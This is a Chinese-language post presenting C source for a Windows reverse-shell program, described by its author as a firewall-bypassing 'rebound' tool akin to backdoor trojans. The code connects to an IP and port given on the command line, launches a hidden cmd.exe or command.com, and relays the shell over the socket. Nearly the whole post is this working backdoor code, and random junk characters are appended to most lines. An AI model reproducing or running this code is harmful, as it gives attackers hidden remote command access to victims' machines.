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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y+N^_2@+C  
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/* ============================== )CS 7>Vx  
Rebound port in Windows NT AEkgm^t.{  
By wind,2006/7 &*g5kh{  
===============================*/ S8j;oJ2 d  
#include u&l2s&i  
#include fX G+88:2  
}]sI?&xB  
#pragma comment(lib,"wsock32.lib") ><iEVrpN  
#I9|>XE1  
void OutputShell(); DoWY*2E  
SOCKET sClient; bTC2Ya  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )>a t]mH  
lD2>`s 5  
void main(int argc,char **argv) @Zd+XWFw  
{ }4xxge?r  
WSADATA stWsaData; THQ W8 V  
int nRet; oMda)5 &  
SOCKADDR_IN stSaiClient,stSaiServer; yAEOn/.~  
g=; rM8W  
if(argc != 3) j-$aa;  
{ HCQv"i}-  
printf("Useage:\n\rRebound DestIP DestPort\n"); Rf2/[  
return; <Xw 6m$fr:  
} ;}K1c+m!5V  
aq"E@fb  
WSAStartup(MAKEWORD(2,2),&stWsaData); rBs7,h  
y5?T`ts,#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GSV,  
#Q6wv/"Ub  
stSaiClient.sin_family = AF_INET; S6}_Z  
stSaiClient.sin_port = htons(0); S}e*~^1J  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &nn!{S^  
/6F 1=O(c>  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @FkNT~OZ  
{ If6wkY6sR  
printf("Bind Socket Failed!\n"); YkPz ~;  
return; Y'/`?CK  
} .^#{rk  
[.<nt:  
stSaiServer.sin_family = AF_INET; $Z 10Zf=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `6j?2plZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3f's>+,#%  
/@FB;`'  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]Ke|wRQD  
{ k}>l+_*+7  
printf("Connect Error!"); 05*_h0}  
return; 'DsfKR^ s  
} &0f7>.y  
OutputShell(); 2bX!-h  
} 8q7KqYu  
<t]c'  
void OutputShell() EBzg<-?o  
{ bXq,iX  
char szBuff[1024]; eJ{"\c(  
SECURITY_ATTRIBUTES stSecurityAttributes; ~'fa,XZ<  
OSVERSIONINFO stOsversionInfo; f]T1:N*t  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H?40yu2m5  
STARTUPINFO stStartupInfo; Djf2ir'  
char *szShell; *sJx0<!M}  
PROCESS_INFORMATION stProcessInformation; pRc(>P3;  
unsigned long lBytesRead; * V W \  
1sc #!^Oo  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /7S]%UY  
^ bM;C_<$f  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1:YDN.*  
stSecurityAttributes.lpSecurityDescriptor = 0; LDV{#5J  
stSecurityAttributes.bInheritHandle = TRUE; >jl"Yr#  
 4EB$e?  
n4."}DO  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +*0THol-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3{MIBMA  
.E;6Xx_+r  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~ezCE4^&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ie.cTTOI  
stStartupInfo.wShowWindow = SW_HIDE; u6r-{[W}  
stStartupInfo.hStdInput = hReadPipe; 4Hzbb#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^D4b\mF  
D4#,9?us  
GetVersionEx(&stOsversionInfo); SVq7qc9K?  
m}uF&|5  
switch(stOsversionInfo.dwPlatformId) l'16B^  
{ =j;o, J:(  
case 1: iUI,r*  
szShell = "command.com"; L6 _Sc-sU  
break; 6w1:3~a  
default: Kyl(  
szShell = "cmd.exe"; dje3&a  
break; )0}obPp  
} {7/6~\'/@  
b:O4d<+%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <Isr  
y Fp1@*ef  
send(sClient,szMsg,77,0); Ds}6{']K  
while(1) Wnf`Rf)1z  
{ &OzJ^G\o  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ae!_u \$  
if(lBytesRead) _l8oB)  
{ H~V=TEj  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !Aw.f!  
send(sClient,szBuff,lBytesRead,0); cuKgO{.GH  
} $^ >n@Q@&L  
else V;:A&  
{ b/5~VY*T  
lBytesRead=recv(sClient,szBuff,1024,0); tQl=  
if(lBytesRead<=0) break; q0c)pxD%`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i;dr(c/ft  
} X4/r#<Da  
} =~EQ3uX  
1}ToR=  
return; [e^i".  
}
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